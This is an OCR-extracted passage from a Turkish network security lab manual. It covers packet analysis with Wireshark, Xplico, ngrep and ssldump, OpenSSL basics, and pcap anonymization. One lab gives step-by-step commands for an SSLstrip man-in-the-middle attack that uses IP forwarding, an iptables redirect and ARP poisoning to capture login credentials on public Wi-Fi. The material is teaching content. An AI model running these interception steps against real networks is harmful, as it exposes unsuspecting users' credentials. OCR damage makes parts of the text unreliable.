12.978677 188.121.36.239 -> 6.6.6.113 OCSP 1038 Response

12978690 6.6.6.113 ->188.121.36.239 TCP 66 39199 > http [ACK] Seq=455 Ack=2413
Win=20368 Len=0 TSval=22607066 TSecr=3517890465

12978738 188.121.36.239 -> 6.6.6.113 TCP 66 http > 39199 [FIN, ACK] Seq=2413
Ack=455Win=6912 Len=0 TSval=3517890465 TSecr=22607043

13.019457 6.6.6.113 ->188.121.36.239 TCP 66 39199 > http [ACK] Seq=455 Ack=2414
Win=20368 Len=0 TSval=22607076 TSecr=3517890465

13.128619 6.6.6.113 -> 188.121.36.239 TCP 66 39199 > http [FIN, ACK] Seq=455
Ack=2414 Win=20368 Len=0 TSval=22607103 TSecr=3517890465

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[UYGULAMALI AG GUVENLIGI EGIiTiMi LAB CALISMALARI]

13.210920 188.121.36.239 -> 6.6.6.113 TCP 66 http > 39199 [ACK] Seq=2414 Ack=456
Win=6912 Len=0 TSval=3517890703 TSecr=22607103

Uygulama No: BGA-UAG-47

Paket/Protokol Analizi Amach Wireshark Kullanimi

Amag: Paket protokol analizinde wireshark aracinin kullanilmasi ve ¢iktilarin detayh
incelenmesi

Wiresharkeski adi Etheral olan acik kaynak kodlu bir sniffer aracidir. Iki tip filtre bulunur.

Capture Filter : Yakalanacak paketlerin tiirii portu protokol bilgisi 6nceden belirtilerek
hedef odakli bir paket analizi yapilabilir.

Display Filter : Yakalanan paketlerin igerisinden istenilen ozelliklerdeki paketlerin
ayiklanmasi kisminda kullanilabilir.
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Adim 1: izlenen trafik icerisinde kelime arama
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Adim 2: Protokol detaylarinin gésterilmesi, detayll bir sekilde protokol detaylari
gosterilir. Ozellikle DDOS saldirilarinda saldir tipini belirlemek icin kullanilir.
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Adim 3: TCP oturumlarinda paket birlestirme, http baglantisindaki tiim giden gelen

paketlerin birlestirilip session hakkinda bilgi verilmesi.

Birlestirilmek istenilen protokol paketi lizerinde sag tiklanir ve “Follow TCP Stream”

secenegi secilir.
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Birlestirilen paketin detaylar: asagida goriildugi gibi olacaktir. HTTP igerisinden tasinan

veri bilgisi.
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Adim 4: En fazla yapilan HTTP isteginin gosterilmesi

Aol

R TRRE Trar e eaTee] i brimagalert, iy 1 i |

i
LD

DDOS saldir1 (HTTP Flood) tipi analizinde oldukea yararh bir 6zellik olarak kullanilabilir.

Uygulama No: BGA-UAG-48

Wireshark Ornek Paket Analizleri

Amag: Wireshark uygulamasindan kayit edilen trafigin yada hazir kayit edilen ag
trafiklerinin analizleri

Wireshark pcap kiitiiphanesi ile yazilmis acik kaynak kodlu paket analiz
programidir.Hemen hemen biitiin protokolleri desteklemekle beraber dinledigi biitiin
paketleri ait oldugu protokolin bashk yapisina uygun bir sekilde
ayristirabilmektedir.Aktif olarak paket dinlemenin yanisira daha 6ncesinden kaydedilmis
trafigi de analiz edebilmektedir.

Wireshark’in kendi sitesinde bir¢ok protokole ait 6rnek paketler bulunmaktadir.
http://wikiwireshark.org/SampleCaptures adresinden ilgili protokole ait paketler
indirilerek paket analizi yapilabilir.

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity
http://wiki.wireshark.org/SampleCaptures

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

cPags  Hekloreann Sarpwlapreres

Buradan incelemek istedigimiz protokole ait o6rnek bir paketi indirerek analiz
edebiliriz.0Ornegin bir tane http paketini analiz edelim.Analiz etmek istedigimiz pakete
tikladigimiz zaman otomatik olarak inecektir.Daha sonra indirilen bu program
wireshark programu ile birlikte agiyoruz.Bunu yapmak icin iki yol bulunmaktadir.ilki
uygulamanm meniisiinden FILE> IMPORT secenekleri secilerek dosya agilir.ikinci yol ise,
komut satirindan

root@kali:~# wireshark <paket-adi> seklinde agilabilir.

Bu metotlardan biri kullanilarak dosya wiresharkile birlikte acilir.
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hifpap [Wiestark 1.08]

File Edn Vew Go Tspiore Anstpee 5 Taleph Teals g
=N TR NI ¥ & B i I N - R
Firer | Esprekian
[ [] Teww B Lot atam Prifgcel Langin infa
i B R e B L L RN R
2 0VELLALE T 1973 8, LD, 37 ToE a2 heip = Cap [0 ACK] Saged Sche] WineSH40 LifsD FESe] 500 SACK _PERPm]
3 0. FLED PL - A E R oy 5, a0 230,30 T HELpE = it (8] Segel Schel Wan=93ED Len=0
4 0. ELLE LA G LD, ST 5, a0 238, 33 HITF 233 &= /downlaad . hial TR/ L
5 1.475114 &, Sl . 35 145 54, L0, T T Sd hitp » tap® [AK] Seqsl Acksdld WiLneddsd Lensl
LR i, 0, 2, T 15 5, L0, 237 Toe L TP gagment &1 & resisssblad S
T 1.013008 195, 54, 180, 37 o5, M. I, T To* 54 TLpE = RIS [AK] Seqeand Sch=]1381 Wiie0osD Lif=0
B 1. EEE - 2. 230 14924, pem, ZAF T L&34 [TOP sagment =l @ reassssbled FOUT
R L . L0, ST o S 2, 33 TR 54 tipd » hity [AOK] Seqead k=371 WineESel Len=0
10 3, &4l E &, Sl S, I3 185 %A, L, T TR Léad [TCP msgment &1 & rewsssmbled FOU]
11 2, S5ETE &, e, 2, 175, 54, Lan, 23Y - Ladd [TOP gagment &1 & rewdsssbled S0l
12 2.353072 19, 334, 180, 37 o5, eI, T T 54 LLpE = BIE [AK] Seqeand Sch=ms571 Wiie0osD Lifi=0
11 2.mmmeTE e T 148 2N, 300 oS B Standwrd query Ce00E] A pageads.groglanymdicstion.com

. &2 bybas coptursd (296 bitsl

- :00:00:00:00:001, Dut: fe:éf-20:00c0L-00 [fa:fFf :20:00:00 001
4, Src: 145.354.180.357 (145,354, 160,357, Det: O5.200.330.303 (65,306 238,355
|Tmmm1. Gre Ports tups D031, MP’FHH“[.} wEqy @, Len; 0

Ak W G GO G oh S0 OB S0 2k e
a0l B fe 50 &d &1 a0 8,88 L

1P Wy et e L=

A w0 ]

5 ¥ P “hitpocap” 19 KB 000090 Packats: 43 Dnplopad 49 Markad O Losd trrec © 00097 Probie Dateuld

Onceden dinlenmis bir trafik kaydi oldugu icin mevcut trafige ait veriler yukardaki gibi
gorunecektir.Biitiin trafik kaydini bir biitiin olarak gérebilmek icin paketlerden herhangi

birisine sag tiklanir ve “Fallow tcp stream” se¢enegi segcilir.
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Daha sonra agilan pencerede biitiin veri akisini gosteren bilgiler yer alacaktir.Buradan
trafik bir biitiin olarak gortilebilir gerekli bilgilere erisilebilir.
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Diger protokollere ait paket kayitlarida ayni seklide incelenebilir.Wireshark'in kendi
sitesinde her protokole ait 6rnek paket kayitlari bulunmaktadir.Bunun yani sira
www.pcapr.net sitesinden de érnek paketlere ulasilabilir.Inernet iizerinden de paket
analizi yapan siteler bulunmaktadir.Ornegin
https://www.networktimeout.com/analysis/ sitesinde online paket analiz uygulamasi
mevcuttur.Paketi siteye upload ederek wireshark uygulamasinda oldugu gibi paketi
analiz etmek miimkiin olacaktir.
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Network Forensics

Uygulama No: BGA-UAG-49

Ag Trafiginden Veri Ayiklama (Network Forensics-1)

Amag: Xplico aracinin kullanarak kaydedilmis bir ag trafiginin yorumlanmasi

Adim 1: tcpdump araciyla ag trafigi “kayit.pcap” isimli dosyaya kayit edilir.

root@bt:~# tcpdump -i ethO -n tcp port 80 -vv -w kayit.pcap

tcpdump: listening on ethO0, link-type EN10MB (Ethernet), capture size 65535 bytes
NC2668 packets captured

2668 packets received by filter

0 packets dropped by kernel

Xplico calistirilmasi igin sirasiyla;

Application > Backtack > Information Gathering > Network Analysis > Network
Traffic Analysis > Xplico Web Gui

calistirtlir. Sonrasinda web tarayici(firefox vb.) yardimiyla “http://localhost:9876”
adresine giris yapilir.

username : xplico

password : xplico

Sirasiyla New Case > New Session olusturulur ve kayit ettigimiz “kayit.php” dosyasi
import edilip trafigin ¢iktis1 yorumlanir.

Xplico Interface
HWelp Foram Wikl

| Peap sat ]
Case and Sesshan name besk - bt SFTP wplanding big pcap files,
Cap, Start Time F00-08- 14 B4-¥5 03 P ——
Cap. End Tia 200 3-08-1% O4-24:73 = —
Status DECODING COMPLETED ST P DOy
Hosts = Uplaad

Filter Lizt of all prap files,

| v | [ || Ems .| PR TR - WTTE e [ e 1
Past o Mumbar o Ascaivad o Connectians 0.0 Total o

Gat £ Cantents a Sant (-] Downloaded o-a R atvad o

Widle-a [ Widea [} Wrerwadad (V5] Uploadad ] Tant o

images 3 Images -] HTTPF 1

| Pacesssik Chat § Faitaik L IRE Ptk Bap M | oms - s - Bompui || mTepver 0 [eae ]
Ussrs V] SEraer a DINE ren (V] Yidno o Groups [V

Chats e channsls o ARPICMPYE 40 Audin o Articbus o

| Poed (RES & Abwm) | Prinbesd Files. | [ et ) e 1 [ undscnden 1
s har o Palf a Connastiong (-] Calls o Tewt Aows 528

plcs e[ e

Kayit edilen ag trafiginde “lifeoverip.net” adresini ziyaret etmistik.
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Xplico Interface

Chafiga pad iword Licafiid  Logoul
For a compilete view of hitml page set your browser to use Proxy, and point it to Web server.

K= ]
m Web URLs: 0 HEml Imnage Flazh Videao Audia JSON Al
Search: h
Chake el Slze  Methed (nfo
m FOLN-0N. 15 Bl TA: ] ) weaea |Reasee| R 10870 GET (LW
o e 1ef1 e

RECT] R e

Uygulama No: BGA-UAG-50

Ag Trafigi icerisinde Kelime Yakalama

Amag: Ngrep aracini kullanarak ag trafigi icerisinde kelime yakalama

Adim 1: Ngrep grep benzeri bir yazilm fakat dosya degilde ag trafigi icerisinde grep yani
ayristirma i¢in kullaniir. Canli ag trafigi veya kaydedilmis trafik icerisinde arama
yapilabilir. Bu ornekte icerisinde bga.com.tr gecen ag trafigindeki paketleri ekrana
basilmasi gosterilmistir.

root@bt:~# ngrep -q bga.com.tr -d eth0

interface: eth0 (192.168.2.0/255.255.255.0)
match: bga.com.tr

U 192.168.2.9:52031 -> 192.168.2.1:53
J— www.bga.com.tr.....

U 192.168.2.1:53 -> 192.168.2.9:52031
J— www.bga.com.tr............4..2.............dns-eu2.powerdns.net............dns-
eul.D. A n MK <eenl U< /* LCL0.

T 192.168.2.9:36877 -> 50.22.202.162:80 [AP]

GET / HTTP/1.1.Host: www.bga.com.tr.User-Agent: Mozilla/5.0 (X11; Linux i686;
rv:14.0) Gecko/20100101 Firefox/14.0.1..Accept
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8..Accept-Language: en-
us,en;q=0.5..Accep

t-Encoding: gzip, deflate..Cookie:
__utma=65561917.817844656.1376444122.1376444122.1376529848.2;
__utmc=65561917;
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_utmz=65561917.1376444122.1.1.utmcsr=(direct)|utmccn=(direct)Jutmcmd=(none)..D
NT: 1..Connection: keep-alive....

T 192.168.2.9:36877 -> 50.22.202.162:80 [AP]

GET / HTTP/1.1.Host: www.bga.com.tr.User-Agent: Mozilla/5.0 (X11; Linux i686;
rv:14.0) Gecko/20100101 Firefox/14.0.1..Accept
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8..Accept-Language: en-
us,en;q=0.5..Accep

t-Encoding: gzip, deflate..Cookie:
_utma=65561917.817844656.1376444122.1376444122.1376529848.2;
__utmc=65561917;
__utmz=65561917.1376444122.1.1.utmcsr=(direct)|Jutmccn=(direct)|jutmcmd=(none)..D
NT: 1..Connection: keep-alive....

T 50.22.202.162:80 -> 192.168.2.9:36877 [A]

HTTP/1.1 200 OK.Date: Fri, 16 Aug 2013 06:31:00 GMT..Server: Apache.X-Pingback:
http://www.bga.com.tr/xmlrpc.php..Keep-Alive: timeout=5, max=100..Connection: Keep-
Alive.. Transfer-Encoding: chunked..Content-Type: text/html; charse

t=UTF-8...1f89..<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD /xhtml1-transitional.dtd">..<html
xmlns="http://www.w3.0rg/1999 /xhtml" lang="tr-TR" >..<head>..<script
type="text/javas

cript’>.. var _gaq = _gaq || [];~ _gaq.push(['_setAccount’, 'UA-17585592-3']);..
_gaq.push(['_trackPageview']);.... (function() { var ga =
document.createElement('script’); ga.type = "text/javascript’; ga.async = true;.

ga.src = (‘https:' == documentlocation.protocol ? 'https://ssl' : 'http://www') +
".google-analytics.com/ga.js';..  var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(ga, s);.. })();...</script>

..<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />.<meta http-
equiv="content-language”" content="tr">.<meta name="geo.region”" content="TR-
34">.<title>B..LG.. G.VENL..... AKADEM.S..</title>.<meta name="t

itle" content="B.LG.. G.VENL.... AKADEM.S." />.<meta name="description"
content="Bilgi G..venli.i Akademisi" />.<meta name="googlebot" content="index, follow"
/>.<meta name="keywords" content="bga, bilgi, g..venlik, ceh,

hack, hacker, pentest, ddos, securty, bilgi g..venli.i, internet,
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Uygulama No: BGA-UAG-51

Ngrep Kullanarak Ag Trafiginde Tinelleme Yazilimlarini Belirleme

Amag: Ngrep aracini kullanarak ag trafiginde ssh-tunnel yapan yazilimi belirleme

Uzak sunucuya yapilan ssh baglantisinda 443 portunu kullandik.

root@bt:~# ssh -1 bgalabs 1.2.3.4 -p 443

Ngrep ile izleme;

root@bt:~# ngrep -q -i 'SSH' not tcp port 22

interface: eth0 (192.168.2.0/255.255.255.0)
filter: (ip or ip6) and ( nottcp port22)
match: SSH

T 1.2.3.4:443 -> 192.168.2.9:39773 [AP]
SSH-2.0-OpenSSH_6.0p1 Debian-4..

T 192.168.2.9:39773 -> 1.2.3.4:443 [AP]
SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu?7..

T 192.168.2.9:39773 -> 1.2.3.4:443 [AP]

......... 2.m/k3QP&m.)....~diffie-hellman-group-exchange-sha256,diffie-hellman-group-
exchange-shal,diffie-hellman-group14-shal,diffie-hellman-group1-shal...ssh-rsa,ssh-
dss...aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,a

es128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-
cbc@lysator.liu.se...aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-
cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcf

our,rijndael-cbc@lysator.liu.se..ihmac-md5,hmac-shal,umac-64@openssh.com,hmac-
ripemd160,hmac-ripemd160@openssh.com,hmac-shal-96,hmac-md5-96...ihmac-
md5,hmac-shal,umac-64@openssh.com,hmac-ripemd160,hmac-
ripemd160@openssh.com,hmac-s

hal-96,hmac-md5-
96...none,zlib@openssh.com,zlib...none,zlib@openssh.com,zlib..................

Sifreleme Protokolleri ve Giivenlik Zafiyetleri

Uygulama No: BGA-UAG-52
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SSL Trafiginde Paket Analizi

Amag: SSLdump araci kullanilarak SSL trafigindeki paket analizinin gercgeklestirilmesi

SSLdump SSL/TLS kullanilarak sifrelenmis trafikler icin gelistirilmis trafik analizi ve sifre
coziimleme aracidir. SSLdump kullanarak -sunucuya ait gizli anahtarin elimizde oldugu
varsayiliyor.

HTPS ve benzeri sifreli trafiklerin icerisinde gegen bilgiler okunabilir. SSldump akan
trafikten analiz/sifre ¢ozme yapabilecegi gibi daha 6nce pcap formatinda kaydedilmis

trafikden de analiz/sifre ¢ozme islemleri gerceklestirebilir.

Adim 1: Canl ag trafiginde analiz yapmak icin;

root@bt:~# ssldump -i ethO

New TCP connection #1: 192.168.2.4(52975) <-> fonts.googleapis.com(443)
11 0.0489 (0.0489) C>S Handshake
ClientHello

Version 3.1
cipher suites
Unknown value 0xff
Unknown value 0xc00a
Unknown value 0xc014
Unknown value 0x88
Unknown value 0x87
Unknown value 0x39
Unknown value 0x38
Unknown value 0xc00f
Unknown value 0xc005
Unknown value 0x84
Unknown value 0x35
Unknown value 0xc007
Unknown value 0xc009
Unknown value 0xc011
Unknown value 0xc013
Unknown value 0x45
Unknown value 0x44
Unknown value 0x33
Unknown value 0x32
Unknown value 0xc00c
Unknown value 0xc00e
Unknown value 0xc002
Unknown value 0xc004
Unknown value 0x96
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Unknown value 0x41
TLS_RSA_WITH_RC4_128_SHA
TLS_RSA_WITH_RC4_128_MD5
Unknown value 0x2f
Unknown value 0xc008
Unknown value 0xc012
TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
Unknown value 0xc00d
Unknown value 0xc003
Unknown value Oxfeff
TLS_RSA_WITH_3DES_EDE_CBC_SHA
compression methods
NULL
12 0.1013(0.0524) S>C Handshake

ServerHello
Version 3.1
session_id[0]=

cipherSuite Unknown value 0xc011
compressionMethod NULL

13 0.1016 (0.0002) S>C Handshake
Certificate

14 0.1016 (0.0000) S>C Handshake
ServerKeyExchange

15 0.1016 (0.0000) S>C Handshake
ServerHelloDone

16 0.1095 (0.0079) C>S Handshake
ClientKeyExchange

17 0.1095 (0.0000) C>S ChangeCipherSpec

18 0.1095 (0.0000) C>S Handshake

19 0.1609 (0.0513) S>C Handshake
dss_fixed_dh1 10 0.1609 (0.0000) S>C ChangeCipherSpec

111 0.1609 (0.0000) S>C Handshake

112 0.1617 (0.0008) C>S application_data

113 0.1619 (0.0001) S>C application_data

114 0.2277 (0.0658) S>C application_data

Bir SSL baglantisina ait tiim adimlar ssldump’da ayr1 trafik numarasiyla belirtilir ve ilgili
ssl baglantisina ait tim paketler o numaray takip eder. yukardaki ¢iktida bir adet ssl
baglantisi vardirve 1,1 1,12,1, 3 ...1 12 seklinde giden satirlar tek bir SSL baglantisina
aittir.Yukardaki ssl baglantisinda veriler sifreli oldugu icin géziikmeyecektir. SSldump’a
baglant1 yapilan adresin gizli anahtarini -k parametresiile tanitirsak 1 12 0.1832 (0.0000)
S>C application_data yazan kisimda a¢ik HTTP baslik bilgileri goziikecektir.

Adim 2: Kaydedilmis bir trafik icerisinden veri okuyabilmek i¢in ise asagidaki gibi bir

komut kullanilir. Burada okunmak istenen .cap dosyasi -r parametresi ile ile okunur ve
icerigi goriintiilenebilir.
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root@bt # ssldump -r your.cap

Uygulama No: BGA-UAG-53

Sifreli Protokollerde Araya Girme

Amag: SSL strip ve ettercape araglar1 kullanilarak sifreli ag trafiginde ortadaki adam
saldiris1 yapilmasi

Oncelikle sslstrip uygulamasinin ¢alismasi icin Linuxisletim sistemine ihtiya¢ duydugu ve
saldirganin MITM tekniklerini kullanarak istemcinin trafigini tizerinden gec¢irmis olmasi
zorunlulugunu belirtmek gerekir.

Simdi adim adim saldirganin yaptig1 islemleri ve her adimin ne ise yaradigini inceleyelim;

1.Adim: Saldirgan istemcinin trafigini kendi iizerinden gecirir. Saldirgan istemcinin
trafigini Uzerinden gecirdikten sonra trafik lizerinde istedigi oynamalar1 yapabilir.
Saldirgana gelen paketleri hedefe iletebilmesi icin isletim sisteminin routing yapmasi
gerekir. Linux sistemlerde bu sysctl degerleriyle oynayarak yapilabilir.

# echo "1" > /proc/sys/net/ipv4/ip_forward

2. Adim: Saldirgan iptables giivenlik duvarim1 kullanarak istemciden gelip herhangi
biryere giden tim TCP/80 isteklerini lokalde sslstrip’in dinleyecegi 8000. Porta
yonlendiriyor.

l1gili Iptables komutu:

# iptables -t nat-A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8000

3.Adim: Saldirgan sslstrip uygulamasin1 ¢alistirarak 8000.portu dinlemeye aliyor ve
istemci ve sunucudan gelecek tiim istek-cevaplar1 “topla” isimli dosyaya logluyor.

#sslstrip -w topla --all -1 8000 -f

Simdi soyle bir senaryo hayal edelim: Masum kullanic ailesiyle geldigi alisveris
merkezinde licretsiz bir kablosuz ag bulmus olmanin sevinciyle mutlu bir sekilde gelip
bilgisayarini a¢sin ve ilk yapacagi is maillerini kontrol etmek olsun.

Ortama dahil olmus masum bir kullanicinin yasadigi stire¢ su sekilde olacaktir:

Istemci aga baglanip internete erismek istediginde ortamdaki saldirgan el ¢abuklugu
marifetle istemcinin trafigini izerinen gecirir(ARP Cache poisoning yontemiyle).

Istemci durumdan habersiz webmail uygulamasma baglanmak icin sayfanin adresini
yazar. Araya giren saldirgan sunucudan donen cevaplar igerisinde HTTPS ile baslayan
satirlar1 HTTP ile degistirir ve aynen kullaniciya gonderir.
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Hicbir seyden haberi olmayan kullanici gelen sayfada kullanici adi/parola bilgilerini
yazarak Login’l tiklar.

Kullanicidan gelen login bilgisi HTTP tizerinden oldugu i¢in saldirganin bilgisayarinda
calisan sslstrip bubilgileri alir, kaydeder ve yine bu bilgileri kullanarak web uygulamasina
HTTPS baglantis1 agar, web uygulamasindan dénen cevaplari yine igerisindeki HTTPS
satirlarin1 HTTP ile degistirerek kullaniciya dondiriir.

Boylece istemci farketmeden HTTPS yerine HTTP kullanarak tiim bilgilerini kaptirir.
Boyle bir senaryo, halka a¢ik kablosuz aglarda, sirketlerin yerel aglarinda, TOR vs gibi
Ucretsiz proxy hizmeti kullanilan yerlerde yasanabilir

Uygulama No: BGA-UAG-54

Sertifika Otoritesi Olusturma

Amag: Sertifika Otoritesi Olusturma ve SSL Kullanimi

Sayisal imzalar1 kullanarak bir verinin gercekten beklenen kisi tarafindan génderildigi
ve iletim esnasinda degisikliZe ugramadigini anlayabiliriz peki gonderilen verinin
gercekten bekledigimiz insana ulastigindan nasil emin olabiliriz? Yani a¢ik anahtarim
kullanarak verileri sifreledigimiz kisi gercekte diisiindigiimi kisi midir? Nasil emin
olabiliriz.

Burada sertifika tanimi ortaya cikiyor. Bir sertifika basitce kisinin a¢ik anahtarinin yetkili
bir sertifika otoritesi tarafindan imzalanmis halidir diyebiliriz.

Sertifika Otoritesi
Sertifika isteginde bulunan sahis/kurumlarin gercgekte belirttikleri kisiler/kurumlar
olduklarmi(bunun yaninda belirtilen diger hususlari da) dogrulayan ve onaylayan

kurumdur. Verisign, Globalsign gibi..

Eger her iki tarafta ortak glivenilen bir sertifika otoritesi tarafinfdan imzalanmis sertifika
kullaniyorsa birbirlerinin public keylerine giivenebilirler.

Ozgiir bir SSL siiriimii: OpenSSL

Temel OpenSSL Kullanimi

OpenSSL dosyalarinin hangi dizinde bulundugunu 6grenmek icin;

# openssl version -d

OPENSSLDIR: "/usr/share/ssl"

Komutu kullanilabilir. Bu dosyalari daha akilda kalici bir dizinden yonetmek istersek

asagidaki komut isimizi goérecektir. Bu komut sonrasinda openssl ile ilgili dosyalar
/etc/ssl dizini altindan da erisilebilir olacaktir.
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#In -s /usr/share/ssl/ /etc/ssl
Hangi OpenSSL siirtimii ile ¢alistiginiz1 6grenmek icin,

# openssl version
OpenSSL 0.9.7a Feb 19 2003

Komutunu kullanabilirsiniz. Detayl bir ¢ikt1 almak istenirse openssl version -a komutu
da kullanilabilir.

OpenSSL ile yardim alma.

OpenSSL kullanirken parametrelerin neler oldugunu ve bunlarin detaylarin1 6grenmek
icin -h parametresini kullanilabilir. Mesela genel openssl kullanimi i¢in

#openssl -h
openssl:Error: '-h' is an invalid command.

Standard commands

asnlparse ca ciphers crl crl2pkes7

dgst dh dhparam dsa dsaparam

enc engine errstr gendh gendsa

genrsa nseq  0ocsp passwd pkcs12

pkes7 pkcs8 rand req rsa
rsautl s_client s_server s_time sess_id

smime speed spkac verify version
x509

Message Digest commands (see the "dgst' command for more details)
md?2 md4 md5 rmd160 sha
shal

Cipher commands (see the "enc' command for more details)
aes-128-cbc aes-128-ecbaes-192-cbc aes-192-ecb aes-256-cbc

aes-256-ecb base64 bf bf-cbc bf-cfb

bf-ecb bf-ofb cast cast-cbc cast5-cbc

cast5-cfb  cast5-ecb cast5-ofb des des-cbc
des-cfb des-ecb des-ede des-ede-cbc des-ede-cfb
des-ede-ofb des-ede3  des-ede3-cbc des-ede3-cfb des-ede3-ofb
des-ofb des3 desx rc2 rc2-40-cbc
rc2-64-cbc rc2-cbc rc2-cfb rc2-ecb rc2-ofb

rc4 rc4-40

Standart komutlardan biriile ilgili yardima ihtia¢ duyarsakopensslkomut_adi -hile detay
bilgi edinebiliriz.
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# openssl gendsa -h
usage: gendsa [args] dsaparam-file
-outfile - outputthe key to 'file'
-des - encryptthe generated key with DES in cbc mode
-des3 - encrypt the generated key with DES in ede cbc mode (168 bit key)
-aes128,-aes192, -aes256
encrypt PEM output with cbc aes

-engine e - use engine e, possibly a hardware device.
-rand file:file:...

- load the file (or the files in the directory) into

the random number generator
dsaparam-file

a DSA parameter file as generated by the dsaparam command

Uygulama No: BGA-UAG-55

Herkese Agik Ortamlarda Paylasim Amacli Paket Anonimlestirme

Amag: Paylasim amach ortamlarda hassas bilgilerin korunmasi
Zaman zaman ¢esitli ag ve giivenlik sorunlarinin ¢6ziimii i¢in firmalara, danismanlara, e -
posta listelerine kaydedilmis trafik dosyalar1 géndermek gerekebiliyor. Bu trafik

dosyalar1 sirket/kurum icin 6zel bilgileri barindirabilecegi icin oldugu gibi gondermek

yerine maskeleme, anonimlestirme islemine tabi tutulmahdir.

Trafik dosyalar1hangi 6zel bilgileri icerebilir?
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1. -IP adresleri
2. -MAC adresleri ve buradan da kullanilan donanimlarin tiirleri(Intel, Vmware,
Cisco, Juniper vs)

3. -Paketin verikisminda kaydedilmis diger veriler

Klasik bir trafik ¢iktis1 asagidaki gibidir. Bu ¢iktiya L2(Mac adresleri) ve L7 (veri kismi) da

eklenebilir. (tcpdump -e ve -X parametreleriyle)

root@seclabs:~# tcpdump -n -r kayitl.pcap

reading from file kayit1l.pcap, link-type EN10MB (Ethernet)

02:45:05.597166 IP 192.168.56.101.22 > 192.168.56.1.3199: P
368772774:368772906(132) ack2254292994 win 8576

02:45:05.597704 1P 192.168.56.1.3199 > 192.168.56.101.22:. ack 132 win 64675

02:45:07.204945 1P 192.168.56.1.137 > 192.168.56.255.137: NBT UDP PACKET(137):
QUERY; REQUEST; BROADCAST

02:45:07.807829 IP 192.168.56.1.3199 > 192.168.56.101.22: P 1:53(52) ack 132 win
64675

02:45:07.814418 1P 192.168.56.101.22 > 192.168.56.1.3199: P 132:184(52) ack 53 win
8576

02:45:07.954580 1P 192.168.56.1.137 > 192.168.56.255.137: NBT UDP PACKET(137):
QUERY; REQUEST; BROADCAST

02:45:08.0585721P 192.168.56.1.3199 > 192.168.56.101.22: . ack 184 win 64623

02:45:08.704682 1P 192.168.56.1.137 > 192.168.56.255.137: NBT UDP PACKET(137):
QUERY; REQUEST; BROADCAST

02:45:09.310514 1P 192.168.56.1.3199 > 192.168.56.101.22: P 53:105(52) ack 184 win
64623

02:45:09.3167451P 192.168.56.101.22 > 192.168.56.1.3199: P 184:236(52) ack 105 win
8576
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Tcprewrite kullanarak hedef ve kaynak IP adreslerinin rastgele degismesini

saglayalim.

root@seclabs:~# tcprewrite -seed=400 -infile=kayit1l.pcap -outfile=kayit_random.pcap

Bu komut sonrasi kaydedilmis trafik dosyasi icerisindeki [P adresleri rastgele olarak

degistirilmistir.

root@seclabs:~# tcpdump -n -r kayit_random.pcap
reading from file kayit_random.pcap, link-type EN10MB (Ethernet)

02:45:05.597166 IP 214.92.41.183.22 > 214.92.41.191.3199: P
368772774:368772906(132) ack2254292994 win 8576

02:45:05.597704 1P 214.92.41.191.3199 > 214.92.41.183.22:. ack 132 win 64675

02:45:07.204945 1P 214.92.41.191.137 > 214.92.41.131.137: NBT UDP PACKET(137):
QUERY; REQUEST; BROADCAST

02:45:07.807829 IP 214.92.41.191.3199 > 214.92.41.183.22: P 1:53(52) ack 132 win
64675

02:45:07.814418 1P 214.92.41.183.22 > 214.92.41.191.3199: P 132:184(52) ack 53 win
8576

02:45:07.954580 1P 214.92.41.191.137 > 214.92.41.131.137: NBT UDP PACKET(137):
QUERY; REQUEST; BROADCAST

02:45:08.0585721P 214.92.41.191.3199 > 214.92.41.183.22:. ack 184 win 64623

02:45:08.704682 1P 214.92.41.191.137 > 214.92.41.131.137: NBT UDP PACKET(137):
QUERY; REQUEST; BROADCAST

02:45:09.310514 1P 214.92.41.191.3199 > 214.92.41.183.22: P 53:105(52) ack 184 win
64623
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02:45:09.3167451P 214.92.41.183.22 > 214.92.41.191.3199: P 184:236(52) ack 105 win
8576

Bu komut trafik icerisindeki MAC adreslerini degistirmeyecektir. MAC adreslerinin de

anonimlestirilmesi icin yine tcprewrite’in -enet-dmac ve -enet-smac parametreleri

kullanilabilir.
Trafik icerisindeki payload(veri) kisimlarin1 silme/degistirme

Asagidakine benzer sekilde kaydedilen paketler veri kismi icerebilir. Paketin veri kismi
standart olmadig: icin icerisinde her tiir 6zel bilgi gecebilir(parola, cookie bilgileri, hesap

numaralari, sunucu bilgileri vs)

# tcpdump -i ethO -tn tcp port 80 -s0 -X
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ethO0, link-type EN10MB (Ethernet), capture size 65535 bytes

I[P 192.168.56.1.4495 > 192.168.56.101.80: F 3339167547:3339167547(0) ack
4117556220 win 65535

0x0000: 45000028 530b 4000 8006 b60d c0a8 3801 E.(S.@.......8.
0x0010: c0a83865118f0050c707 a73b f56cebfc .8e...P...;.l.
0x0020: 5011 ffff 5c90 0000 0000 0000 0000 P..\.........

IP 192.168.56.101.80 > 192.168.56.1.4495: . ack 1 win 8576

0x0000: 45000028 000040004006 4919 c0a8 3865 E.(.@.@.l...8e
0x0010: c0a83801 0050 118ff56cebfcc707 a73c .8.P..l....<
0x0020: 501021803b10 0000 P.l;..

[P 192.168.56.1.4501 > 192.168.56.101.80: S 1362597540:1362597540(0) win 65535
<mss 1460,nop,nop,sackOK>
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0x0000: 45000030 530e 40008006 b602 c0a8 3801 E.0S.@.......8.
0x0010: c0a83865 119500505137 96a4 0000 0000 ..8e...PQ7......

0x0020: 7002 ffff97a7 0000 0204 05b4 0101 0402 p......ccu...e.

